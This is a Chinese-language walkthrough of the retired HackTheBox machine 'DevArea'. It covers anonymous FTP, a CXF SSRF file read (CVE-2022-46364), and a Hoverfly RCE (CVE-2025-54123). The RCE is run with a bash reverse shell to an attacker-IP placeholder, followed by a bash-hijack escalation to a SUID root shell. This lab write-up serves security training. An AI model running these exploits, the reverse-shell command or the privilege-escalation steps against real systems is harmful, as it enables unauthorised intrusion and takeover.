平台： HackTheBox 操作系统： Linux 状态：已退役 — 完整演练已发布。
完整演练： l3dsec.com/walkthroughs/devarea-htb
nmap → 21 (FTP anon) + 80 + 8080 (Jetty) + 8888 (Hoverfly)
→ FTP anon → employee-service.jar (Apache CXF, pre-3.5.5)
→ CVE-2022-46364 SSRF → file:///etc/systemd/system/hoverfly.service
→ admin credentials in ExecStart
→ CVE-2025-54123 Hoverfly RCE → shell as dev_ryan → user flag
→ /usr/bin/bash world-writable + sudo syswatch.sh calls it
→ bash hijack → SUID rootbash → root flag
nmap -sC -sV -p- <TARGET_IP>
# 21/tcp open ftp vsftpd 3.0.5 (anonymous login)
# 8080/tcp open http Jetty 9.4.27
# 8888/tcp open http Hoverfly Dashboard
从 pub/ 匿名下载 FTP 得到 employee-service.jar — Apache CXF SOAP 服务，捆绑版本低于 3.5.5。
3.5.5 之前的 CXF 会在服务端反射 XOP:Include href URL — 通过 file:// 实现任意文件读取。
python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb
# ExecStart: hoverfly -add -username admin -password O7IJ27MyyXiU
# User=dev_ryan
Hoverfly 1.11.3 — 通过中间件配置注入实现认证后 RCE。
nc -lvnp 4444
./CVE-2025-54123.sh -t http://<TARGET_IP>:8888 -u admin -p O7IJ27MyyXiU -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"
获得 dev_ryan 的 shell。用户 flag 位于 /home/dev_ryan/user.txt。
sudo -l
# (root) NOPASSWD: /opt/syswatch/syswatch.sh
ls -la /usr/bin/bash
# -rwxrwxrwx (world-writable)
syswatch.sh 内部调用 /usr/bin/bash。替换为丢弃 SUID 的脚本：
cp /usr/bin/bash /tmp/bash.bak
printf '#!/tmp/bash.bak\ncp /tmp/bash.bak /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /usr/bin/bash
chmod +x /usr/bin/bash
sudo /opt/syswatch/syswatch.sh status
/tmp/rootbash -p
# euid=0(root)
Root flag 位于 /root/root.txt。
| Flag | Value |
|---|---|
| User | redacted |
| Root | redacted |
仅供教育目的使用。仅测试您拥有或已获得明确书面许可的系统。